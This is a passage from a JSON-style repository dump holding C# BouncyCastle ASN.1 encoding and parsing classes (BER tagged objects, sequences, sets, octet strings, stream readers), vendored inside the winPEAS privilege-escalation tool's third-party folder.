= true;\n            this.tagNo = tagNo;\n            this.obj = obj;\n        }\n\n        /**\n         * @param explicitly true if the object is explicitly tagged.\n         * @param tagNo the tag number for this object.\n         * @param obj the tagged object.\n         */\n        protected Asn1TaggedObject(\n            bool explicitly,\n            int tagNo,\n            Asn1Encodable obj)\n        {\n            // IAsn1Choice marker interface 'insists' on explicit tagging\n            this.explicitly = explicitly || (obj is IAsn1Choice);\n            this.tagNo = tagNo;\n            this.obj = obj;\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            Asn1TaggedObject other = asn1Object as Asn1TaggedObject;\n\n            if (other == null)\n                return false;\n\n            return this.tagNo == other.tagNo\n                //\t\t\t\t&& this.empty == other.empty\n                && this.explicitly == other.explicitly   // TODO Should this be part of equality?\n                && Platform.Equals(GetObject(), other.GetObject());\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            int code = tagNo.GetHashCode();\n\n            // TODO: actually this is wrong - the problem is that a re-encoded\n            // object may end up with a different hashCode due to implicit\n            // tagging. As implicit tagging is ambiguous if a sequence is involved\n            // it seems the only correct method for both equals and hashCode is to\n            // compare the encodings...\n            //\t\t\tcode ^= explicitly.GetHashCode();\n\n            if (obj != null)\n            {\n                code ^= obj.GetHashCode();\n            }\n\n            return code;\n        }\n\n        public int TagNo\n        {\n            get { return tagNo; }\n        }\n\n        /**\n         * return whether or not the object may be explicitly tagged.\n         * <p>\n         * Note: if the object has been read from an input stream, the only\n         * time you can be sure if isExplicit is returning the true state of\n         * affairs is if it returns false. An implicitly tagged object may appear\n         * to be explicitly tagged, so you need to understand the context under\n         * which the reading was done as well, see GetObject below.</p>\n         */\n        public bool IsExplicit()\n        {\n            return explicitly;\n        }\n\n        public bool IsEmpty()\n        {\n            return false; //empty;\n        }\n\n        /**\n         * return whatever was following the tag.\n         * <p>\n         * Note: tagged objects are generally context dependent if you're\n         * trying to extract a tagged object you should be going via the\n         * appropriate GetInstance method.</p>\n         */\n        public Asn1Object GetObject()\n        {\n            if (obj != null)\n            {\n                return obj.ToAsn1Object();\n            }\n\n            return null;\n        }\n\n        /**\n\t\t* Return the object held in this tagged object as a parser assuming it has\n\t\t* the type of the passed in tag. If the object doesn't have a parser\n\t\t* associated with it, the base object is returned.\n\t\t*/\n        public IAsn1Convertible GetObjectParser(\n            int tag,\n            bool isExplicit)\n        {\n            switch (tag)\n            {\n                case Asn1Tags.Set:\n                    return Asn1Set.GetInstance(this, isExplicit).Parser;\n                case Asn1Tags.Sequence:\n                    return Asn1Sequence.GetInstance(this, isExplicit).Parser;\n                case Asn1Tags.OctetString:\n                    return Asn1OctetString.GetInstance(this, isExplicit).Parser;\n            }\n\n            if (isExplicit)\n            {\n                return GetObject();\n            }\n\n            throw Platform.CreateNotImplementedException(\"implicit tagging for tag: \" + tag);\n        }\n\n        public override string ToString()\n        {\n            return \"[\" + tagNo + \"]\" + obj;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1TaggedObjectParser.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic interface Asn1TaggedObjectParser\n\t\t : IAsn1Convertible\n\t{\n\t\tint TagNo { get; }\n\n\t\tIAsn1Convertible GetObjectParser(int tag, bool isExplicit);\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Tags.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class Asn1Tags\n    {\n        public const int Boolean = 0x01;\n        public const int Integer = 0x02;\n        public const int BitString = 0x03;\n        public const int OctetString = 0x04;\n        public const int Null = 0x05;\n        public const int ObjectIdentifier = 0x06;\n        public const int External = 0x08;\n        public const int Enumerated = 0x0a;\n        public const int Sequence = 0x10;\n        public const int SequenceOf = 0x10; // for completeness\n        public const int Set = 0x11;\n        public const int SetOf = 0x11; // for completeness\n\n        public const int NumericString = 0x12;\n        public const int PrintableString = 0x13;\n        public const int T61String = 0x14;\n        public const int VideotexString = 0x15;\n        public const int IA5String = 0x16;\n        public const int UtcTime = 0x17;\n        public const int GeneralizedTime = 0x18;\n        public const int GraphicString = 0x19;\n        public const int VisibleString = 0x1a;\n        public const int GeneralString = 0x1b;\n        public const int UniversalString = 0x1c;\n        public const int BmpString = 0x1e;\n        public const int Utf8String = 0x0c;\n\n        public const int Constructed = 0x20;\n        public const int Application = 0x40;\n        public const int Tagged = 0x80;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerApplicationSpecific.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class BerApplicationSpecific\n\t\t  : DerApplicationSpecific\n\t{\n\t\tpublic BerApplicationSpecific(\n\t\t\tint tagNo,\n\t\t\tAsn1EncodableVector vec)\n\t\t\t: base(tagNo, vec)\n\t\t{\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerApplicationSpecificParser.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class BerApplicationSpecificParser\n\t: IAsn1ApplicationSpecificParser\n\t{\n\t\tprivate readonly int tag;\n\t\tprivate readonly Asn1StreamParser parser;\n\n\t\tinternal BerApplicationSpecificParser(\n\t\t\tint tag,\n\t\t\tAsn1StreamParser parser)\n\t\t{\n\t\t\tthis.tag = tag;\n\t\t\tthis.parser = parser;\n\t\t}\n\n\t\tpublic IAsn1Convertible ReadObject()\n\t\t{\n\t\t\treturn parser.ReadObject();\n\t\t}\n\n\t\tpublic Asn1Object ToAsn1Object()\n\t\t{\n\t\t\treturn new BerApplicationSpecific(tag, parser.ReadVector());\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerBitString.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class BerBitString\n       : DerBitString\n    {\n        public BerBitString(byte[] data, int padBits)\n            : base(data, padBits)\n        {\n        }\n\n        public BerBitString(byte[] data)\n            : base(data)\n        {\n        }\n\n        public BerBitString(int namedBits)\n            : base(namedBits)\n        {\n        }\n\n        public BerBitString(Asn1Encodable obj)\n            : base(obj)\n        {\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            if (derOut is Asn1OutputStream || derOut is BerOutputStream)\n            {\n                derOut.WriteEncoded(Asn1Tags.BitString, (byte)mPadBits, mData);\n            }\n            else\n            {\n                base.Encode(derOut);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerOctetString.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class BerOctetString\n        : DerOctetString, IEnumerable\n    {\n        private static readonly int DefaultChunkSize = 1000;\n\n        public static BerOctetString FromSequence(Asn1Sequence seq)\n        {\n            int count = seq.Count;\n            Asn1OctetString[] v = new Asn1OctetString[count];\n            for (int i = 0; i < count; ++i)\n            {\n                v[i] = Asn1OctetString.GetInstance(seq[i]);\n            }\n            return new BerOctetString(v);\n        }\n\n        private static byte[] ToBytes(Asn1OctetString[] octs)\n        {\n            MemoryStream bOut = new MemoryStream();\n            foreach (Asn1OctetString o in octs)\n            {\n                byte[] octets = o.GetOctets();\n                bOut.Write(octets, 0, octets.Length);\n            }\n            return bOut.ToArray();\n        }\n\n        private static Asn1OctetString[] ToOctetStringArray(IEnumerable e)\n        {\n            IList list = Platform.CreateArrayList(e);\n\n            int count = list.Count;\n            Asn1OctetString[] v = new Asn1OctetString[count];\n            for (int i = 0; i < count; ++i)\n            {\n                v[i] = Asn1OctetString.GetInstance(list[i]);\n            }\n            return v;\n        }\n\n        private readonly int chunkSize;\n        private readonly Asn1OctetString[] octs;\n\n        [Obsolete(\"Will be removed\")]\n        public BerOctetString(IEnumerable e)\n            : this(ToOctetStringArray(e))\n        {\n        }\n\n        public BerOctetString(byte[] str)\n            : this(str, DefaultChunkSize)\n        {\n        }\n\n        public BerOctetString(Asn1OctetString[] octs)\n            : this(octs, DefaultChunkSize)\n        {\n        }\n\n        public BerOctetString(byte[] str, int chunkSize)\n            : this(str, null, chunkSize)\n        {\n        }\n\n        public BerOctetString(Asn1OctetString[] octs, int chunkSize)\n            : this(ToBytes(octs), octs, chunkSize)\n        {\n        }\n\n        private BerOctetString(byte[] str, Asn1OctetString[] octs, int chunkSize)\n            : base(str)\n        {\n            this.octs = octs;\n            this.chunkSize = chunkSize;\n        }\n\n        /**\n         * return the DER octets that make up this string.\n         */\n        public IEnumerator GetEnumerator()\n        {\n            if (octs == null)\n                return new ChunkEnumerator(str, chunkSize);\n\n            return octs.GetEnumerator();\n        }\n\n        [Obsolete(\"Use GetEnumerator() instead\")]\n        public IEnumerator GetObjects()\n        {\n            return GetEnumerator();\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            if (derOut is Asn1OutputStream || derOut is BerOutputStream)\n            {\n                derOut.WriteByte(Asn1Tags.Constructed | Asn1Tags.OctetString);\n\n                derOut.WriteByte(0x80);\n\n                //\n                // write out the octet array\n                //\n                foreach (Asn1OctetString oct in this)\n                {\n                    derOut.WriteObject(oct);\n                }\n\n                derOut.WriteByte(0x00);\n                derOut.WriteByte(0x00);\n            }\n            else\n            {\n                base.Encode(derOut);\n            }\n        }\n\n        private class ChunkEnumerator\n            : IEnumerator\n        {\n            private readonly byte[] octets;\n            private readonly int chunkSize;\n\n            private DerOctetString currentChunk = null;\n            private int nextChunkPos = 0;\n\n            internal ChunkEnumerator(byte[] octets, int chunkSize)\n            {\n                this.octets = octets;\n                this.chunkSize = chunkSize;\n            }\n\n            public object Current\n            {\n                get\n                {\n                    if (null == currentChunk)\n                        throw new InvalidOperationException();\n\n                    return currentChunk;\n                }\n            }\n\n            public bool MoveNext()\n            {\n                if (nextChunkPos >= octets.Length)\n                {\n                    this.currentChunk = null;\n                    return false;\n                }\n\n                int length = System.Math.Min(octets.Length - nextChunkPos, chunkSize);\n                byte[] chunk = new byte[length];\n                Array.Copy(octets, nextChunkPos, chunk, 0, length);\n                this.currentChunk = new DerOctetString(chunk);\n                this.nextChunkPos += length;\n                return true;\n            }\n\n            public void Reset()\n            {\n                this.currentChunk = null;\n                this.nextChunkPos = 0;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerOctetStringParser.cs",
    "content": "﻿using System.IO;\nusing winPEAS._3rdParty.BouncyCastle.util.io;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class BerOctetStringParser\n\t\t  : Asn1OctetStringParser\n\t{\n\t\tprivate readonly Asn1StreamParser _parser;\n\n\t\tinternal BerOctetStringParser(\n\t\t\tAsn1StreamParser parser)\n\t\t{\n\t\t\t_parser = parser;\n\t\t}\n\n\t\tpublic Stream GetOctetStream()\n\t\t{\n\t\t\treturn new ConstructedOctetStream(_parser);\n\t\t}\n\n\t\tpublic Asn1Object ToAsn1Object()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn new BerOctetString(Streams.ReadAll(GetOctetStream()));\n\t\t\t}\n\t\t\tcatch (IOException e)\n\t\t\t{\n\t\t\t\tthrow new Asn1ParsingException(\"IOException converting stream to byte array: \" + e.Message, e);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerOutputStream.cs",
    "content": "﻿using System;\nusing System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class BerOutputStream\n      : DerOutputStream\n    {\n        public BerOutputStream(Stream os) : base(os)\n        {\n        }\n\n        [Obsolete(\"Use version taking an Asn1Encodable arg instead\")]\n        public override void WriteObject(\n            object obj)\n        {\n            if (obj == null)\n            {\n                WriteNull();\n            }\n            else if (obj is Asn1Object)\n            {\n                ((Asn1Object)obj).Encode(this);\n            }\n            else if (obj is Asn1Encodable)\n            {\n                ((Asn1Encodable)obj).ToAsn1Object().Encode(this);\n            }\n            else\n            {\n                throw new IOException(\"object not BerEncodable\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerSequence.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class BerSequence\n\t\t : DerSequence\n\t{\n\t\tpublic static new readonly BerSequence Empty = new BerSequence();\n\n\t\tpublic static new BerSequence FromVector(Asn1EncodableVector elementVector)\n\t\t{\n\t\t\treturn elementVector.Count < 1 ? Empty : new BerSequence(elementVector);\n\t\t}\n\n\t\t/**\n\t\t * create an empty sequence\n\t\t */\n\t\tpublic BerSequence()\n\t\t\t: base()\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * create a sequence containing one object\n\t\t */\n\t\tpublic BerSequence(Asn1Encodable element)\n\t\t\t: base(element)\n\t\t{\n\t\t}\n\n\t\tpublic BerSequence(params Asn1Encodable[] elements)\n\t\t\t: base(elements)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * create a sequence containing a vector of objects.\n\t\t */\n\t\tpublic BerSequence(Asn1EncodableVector elementVector)\n\t\t\t: base(elementVector)\n\t\t{\n\t\t}\n\n\t\tinternal override void Encode(DerOutputStream derOut)\n\t\t{\n\t\t\tif (derOut is Asn1OutputStream || derOut is BerOutputStream)\n\t\t\t{\n\t\t\t\tderOut.WriteByte(Asn1Tags.Sequence | Asn1Tags.Constructed);\n\t\t\t\tderOut.WriteByte(0x80);\n\n\t\t\t\tforeach (Asn1Encodable o in this)\n\t\t\t\t{\n\t\t\t\t\tderOut.WriteObject(o);\n\t\t\t\t}\n\n\t\t\t\tderOut.WriteByte(0x00);\n\t\t\t\tderOut.WriteByte(0x00);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbase.Encode(derOut);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerSequenceParser.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class BerSequenceParser\n\t : Asn1SequenceParser\n\t{\n\t\tprivate readonly Asn1StreamParser _parser;\n\n\t\tinternal BerSequenceParser(\n\t\t\tAsn1StreamParser parser)\n\t\t{\n\t\t\tthis._parser = parser;\n\t\t}\n\n\t\tpublic IAsn1Convertible ReadObject()\n\t\t{\n\t\t\treturn _parser.ReadObject();\n\t\t}\n\n\t\tpublic Asn1Object ToAsn1Object()\n\t\t{\n\t\t\treturn new BerSequence(_parser.ReadVector());\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerSet.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class BerSet\n       : DerSet\n    {\n        public static new readonly BerSet Empty = new BerSet();\n\n        public static new BerSet FromVector(Asn1EncodableVector elementVector)\n        {\n            return elementVector.Count < 1 ? Empty : new BerSet(elementVector);\n        }\n\n        internal static new BerSet FromVector(Asn1EncodableVector elementVector, bool needsSorting)\n        {\n            return elementVector.Count < 1 ? Empty : new BerSet(elementVector, needsSorting);\n        }\n\n        /**\n         * create an empty sequence\n         */\n        public BerSet()\n            : base()\n        {\n        }\n\n        /**\n         * create a set containing one object\n         */\n        public BerSet(Asn1Encodable element)\n            : base(element)\n        {\n        }\n\n        /**\n         * create a set containing a vector of objects.\n         */\n        public BerSet(Asn1EncodableVector elementVector)\n            : base(elementVector, false)\n        {\n        }\n\n        internal BerSet(Asn1EncodableVector elementVector, bool needsSorting)\n            : base(elementVector, needsSorting)\n        {\n        }\n\n        internal override void Encode(DerOutputStream derOut)\n        {\n            if (derOut is Asn1OutputStream || derOut is BerOutputStream)\n            {\n                derOut.WriteByte(Asn1Tags.Set | Asn1Tags.Constructed);\n                derOut.WriteByte(0x80);\n\n                foreach (Asn1Encodable o in this)\n                {\n                    derOut.WriteObject(o);\n                }\n\n                derOut.WriteByte(0x00);\n                derOut.WriteByte(0x00);\n            }\n            else\n            {\n                base.Encode(derOut);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerSetParser.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class BerSetParser\n\t\t: Asn1SetParser\n\t{\n\t\tprivate readonly Asn1StreamParser _parser;\n\n\t\tinternal BerSetParser(\n\t\t\tAsn1StreamParser parser)\n\t\t{\n\t\t\tthis._parser = parser;\n\t\t}\n\n\t\tpublic IAsn1Convertible ReadObject()\n\t\t{\n\t\t\treturn _parser.ReadObject();\n\t\t}\n\n\t\tpublic Asn1Object ToAsn1Object()\n\t\t{\n\t\t\treturn new BerSet(_parser.ReadVector(), false);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerTaggedObject.cs",
    "content": "﻿using System.Collections;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n\t  * BER TaggedObject - in ASN.1 notation this is any object preceded by\n\t  * a [n] where n is some number - these are assumed to follow the construction\n\t  * rules (as with sequences).\n\t  */\n\tpublic class BerTaggedObject\n\t\t: DerTaggedObject\n\t{\n\t\t/**\n\t\t * @param tagNo the tag number for this object.\n\t\t * @param obj the tagged object.\n\t\t */\n\t\tpublic BerTaggedObject(\n\t\t\tint tagNo,\n\t\t\tAsn1Encodable obj)\n\t\t\t: base(tagNo, obj)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * @param explicitly true if an explicitly tagged object.\n\t\t * @param tagNo the tag number for this object.\n\t\t * @param obj the tagged object.\n\t\t */\n\t\tpublic BerTaggedObject(\n\t\t\tbool explicitly,\n\t\t\tint tagNo,\n\t\t\tAsn1Encodable obj)\n\t\t\t: base(explicitly, tagNo, obj)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * create an implicitly tagged object that contains a zero\n\t\t * length sequence.\n\t\t */\n\t\tpublic BerTaggedObject(\n\t\t\tint tagNo)\n\t\t\t: base(false, tagNo, BerSequence.Empty)\n\t\t{\n\t\t}\n\n\t\tinternal override void Encode(\n\t\t\tDerOutputStream derOut)\n\t\t{\n\t\t\tif (derOut is Asn1OutputStream || derOut is BerOutputStream)\n\t\t\t{\n\t\t\t\tderOut.WriteTag((byte)(Asn1Tags.Constructed | Asn1Tags.Tagged), tagNo);\n\t\t\t\tderOut.WriteByte(0x80);\n\n\t\t\t\tif (!IsEmpty())\n\t\t\t\t{\n\t\t\t\t\tif (!explicitly)\n\t\t\t\t\t{\n\t\t\t\t\t\tIEnumerable eObj;\n\t\t\t\t\t\tif (obj is Asn1OctetString)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (obj is BerOctetString)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\teObj = (BerOctetString)obj;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tAsn1OctetString octs = (Asn1OctetString)obj;\n\t\t\t\t\t\t\t\teObj = new BerOctetString(octs.GetOctets());\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (obj is Asn1Sequence)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\teObj = (Asn1Sequence)obj;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (obj is Asn1Set)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\teObj = (Asn1Set)obj;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthrow Platform.CreateNotImplementedException(Platform.GetTypeName(obj));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tforeach (Asn1Encodable o in eObj)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tderOut.WriteObject(o);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tderOut.WriteObject(obj);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tderOut.WriteByte(0x00);\n\t\t\t\tderOut.WriteByte(0x00);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbase.Encode(derOut);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerTaggedObjectParser.cs",
    "content": "﻿using System;\nusing System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class BerTaggedObjectParser\n\t\t: Asn1TaggedObjectParser\n\t{\n\t\tprivate bool _constructed;\n\t\tprivate int _tagNumber;\n\t\tprivate Asn1StreamParser _parser;\n\n\t\t[Obsolete]\n\t\tinternal BerTaggedObjectParser(\n\t\t\tint baseTag,\n\t\t\tint tagNumber,\n\t\t\tStream contentStream)\n\t\t\t: this((baseTag & Asn1Tags.Constructed) != 0, tagNumber, new Asn1StreamParser(contentStream))\n\t\t{\n\t\t}\n\n\t\tinternal BerTaggedObjectParser(\n\t\t\tbool constructed,\n\t\t\tint tagNumber,\n\t\t\tAsn1StreamParser parser)\n\t\t{\n\t\t\t_constructed = constructed;\n\t\t\t_tagNumber = tagNumber;\n\t\t\t_parser = parser;\n\t\t}\n\n\t\tpublic bool IsConstructed\n\t\t{\n\t\t\tget { return _constructed; }\n\t\t}\n\n\t\tpublic int TagNo\n\t\t{\n\t\t\tget { return _tagNumber; }\n\t\t}\n\n\t\tpublic IAsn1Convertible GetObjectParser(\n\t\t\tint tag,\n\t\t\tbool isExplicit)\n\t\t{\n\t\t\tif (isExplicit)\n\t\t\t{\n\t\t\t\tif (!_constructed)\n\t\t\t\t\tthrow new IOException(\"Explicit tags must be constructed (see X.690 8.14.2)\");\n\n\t\t\t\treturn _parser.ReadObject();\n\t\t\t}\n\n\t\t\treturn _parser.ReadImplicit(_constructed, tag);\n\t\t}\n\n\t\tpublic Asn1Object ToAsn1Object()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn _parser.ReadTaggedObject(_constructed, _tagNumber);\n\t\t\t}\n\t\t\tcatch (IOException e)\n\t\t\t{\n\t\t\t\tthrow new Asn1ParsingException(e.Message);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/ConstructedOctetStream.cs",
    "content": "﻿using System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util.io;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tinternal class ConstructedOctetStream\n\t\t : BaseInputStream\n\t{\n\t\tprivate readonly Asn1StreamParser _parser;\n\n\t\tprivate bool _first = true;\n\t\tprivate Stream _currentStream;\n\n\t\tinternal ConstructedOctetStream(\n\t\t\tAsn1StreamParser parser)\n\t\t{\n\t\t\t_parser = parser;\n\t\t}\n\n\t\tpublic override int Read(byte[] buffer, int offset, int count)\n\t\t{\n\t\t\tif (_currentStream == null)\n\t\t\t{\n\t\t\t\tif (!_first)\n\t\t\t\t\treturn 0;\n\n\t\t\t\tAsn1OctetStringParser next = GetNextParser();\n\t\t\t\tif (next == null)\n\t\t\t\t\treturn 0;\n\n\t\t\t\t_first = false;\n\t\t\t\t_currentStream = next.GetOctetStream();\n\t\t\t}\n\n\t\t\tint totalRead = 0;\n\n\t\t\tfor (; ; )\n\t\t\t{\n\t\t\t\tint numRead = _currentStream.Read(buffer, offset + totalRead, count - totalRead);\n\n\t\t\t\tif (numRead > 0)\n\t\t\t\t{\n\t\t\t\t\ttotalRead += numRead;\n\n\t\t\t\t\tif (totalRead == count)\n\t\t\t\t\t\treturn totalRead;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tAsn1OctetStringParser next = GetNextParser();\n\t\t\t\t\tif (next == null)\n\t\t\t\t\t{\n\t\t\t\t\t\t_currentStream = null;\n\t\t\t\t\t\treturn totalRead;\n\t\t\t\t\t}\n\n\t\t\t\t\t_currentStream = next.GetOctetStream();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tpublic override int ReadByte()\n\t\t{\n\t\t\tif (_currentStream == null)\n\t\t\t{\n\t\t\t\tif (!_first)\n\t\t\t\t\treturn 0;\n\n\t\t\t\tAsn1OctetStringParser next = GetNextParser();\n\t\t\t\tif (next == null)\n\t\t\t\t\treturn 0;\n\n\t\t\t\t_first = false;\n\t\t\t\t_currentStream = next.GetOctetStream();\n\t\t\t}\n\n\t\t\tfor (; ; )\n\t\t\t{\n\t\t\t\tint b = _currentStream.ReadByte();\n\n\t\t\t\tif (b >= 0)\n\t\t\t\t\treturn b;\n\n\t\t\t\tAsn1OctetStringParser next = GetNextParser();\n\t\t\t\tif (next == null)\n\t\t\t\t{\n\t\t\t\t\t_currentStream = null;\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\n\t\t\t\t_currentStream = next.GetOctetStream();\n\t\t\t}\n\t\t}\n\n\t\tprivate Asn1OctetStringParser GetNextParser()\n\t\t{\n\t\t\tIAsn1Convertible asn1Obj = _parser.ReadObject();\n\t\t\tif (asn1Obj == null)\n\t\t\t\treturn null;\n\n\t\t\tif (asn1Obj is Asn1OctetStringParser)\n\t\t\t\treturn (Asn1OctetStringParser)asn1Obj;\n\n\t\t\tthrow new IOException(\"unknown object encountered: \" + Platform.GetTypeName(asn1Obj));\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DefiniteLengthInputStream.cs",
    "content": "﻿using System;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.util.io;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tclass DefiniteLengthInputStream\n\t\t: LimitedInputStream\n\t{\n\t\tprivate static readonly byte[] EmptyBytes = new byte[0];\n\n\t\tprivate readonly int _originalLength;\n\t\tprivate int _remaining;\n\n\t\tinternal DefiniteLengthInputStream(Stream inStream, int length, int limit)\n\t\t\t: base(inStream, limit)\n\t\t{\n\t\t\tif (length < 0)\n\t\t\t\tthrow new ArgumentException(\"negative lengths not allowed\", \"length\");\n\n\t\t\tthis._originalLength = length;\n\t\t\tthis._remaining = length;\n\n\t\t\tif (length == 0)\n\t\t\t{\n\t\t\t\tSetParentEofDetect(true);\n\t\t\t}\n\t\t}\n\n\t\tinternal int Remaining\n\t\t{\n\t\t\tget { return _remaining; }\n\t\t}\n\n\t\tpublic override int ReadByte()\n\t\t{\n\t\t\tif (_remaining == 0)\n\t\t\t\treturn -1;\n\n\t\t\tint b = _in.ReadByte();\n\n\t\t\tif (b < 0)\n\t\t\t\tthrow new EndOfStreamException(\"DEF length \" + _originalLength + \" object truncated by \" + _remaining);\n\n\t\t\tif (--_remaining == 0)\n\t\t\t{\n\t\t\t\tSetParentEofDetect(true);\n\t\t\t}\n\n\t\t\treturn b;\n\t\t}\n\n\t\tpublic override int Read(\n\t\t\tbyte[] buf,\n\t\t\tint off,\n\t\t\tint len)\n\t\t{\n\t\t\tif (_remaining == 0)\n\t\t\t\treturn 0;\n\n\t\t\tint toRead = System.Math.Min(len, _remaining);\n\t\t\tint numRead = _in.Read(buf, off, toRead);\n\n\t\t\tif (numRead < 1)\n\t\t\t\tthrow new EndOfStreamException(\"DEF length \" + _originalLength + \" object truncated by \" + _remaining);\n\n\t\t\tif ((_remaining -= numRead) == 0)\n\t\t\t{\n\t\t\t\tSetParentEofDetect(true);\n\t\t\t}\n\n\t\t\treturn numRead;\n\t\t}\n\n\t\tinternal void ReadAllIntoByteArray(byte[] buf)\n\t\t{\n\t\t\tif (_remaining != buf.Length)\n\t\t\t\tthrow new ArgumentException(\"buffer length not right for data\");\n\n\t\t\tif (_remaining == 0)\n\t\t\t\treturn;\n\n\t\t\t// make sure it's safe to do this!\n\t\t\tint limit = Limit;\n\t\t\tif (_remaining >= limit)\n\t\t\t\tthrow new IOException(\"corrupted stream - out of bounds length found: \" + _remaining + \" >= \" + limit);\n\n\t\t\tif ((_remaining -= Streams.ReadFully(_in, buf)) != 0)\n\t\t\t\tthrow new EndOfStreamException(\"DEF length \" + _originalLength + \" object truncated by \" + _remaining);\n\t\t\tSetParentEofDetect(true);\n\t\t}\n\n\t\tinternal byte[] ToArray()\n\t\t{\n\t\t\tif (_remaining == 0)\n\t\t\t\treturn EmptyBytes;\n\n\t\t\t// make sure it's safe to do this!\n\t\t\tint limit = Limit;\n\t\t\tif (_remaining >= limit)\n\t\t\t\tthrow new IOException(\"corrupted stream - out of bounds length found: \" + _remaining + \" >= \" + limit);\n\n\t\t\tbyte[] bytes = new byte[_remaining];\n\t\t\tif ((_remaining -= Streams.ReadFully(_in, bytes)) != 0)\n\t\t\t\tthrow new EndOfStreamException(\"DEF length \" + _originalLength + \" object truncated by \" + _remaining);\n\t\t\tSetParentEofDetect(true);\n\t\t\treturn bytes;\n\t\t}\n\t}\n}\n"
  },
  {
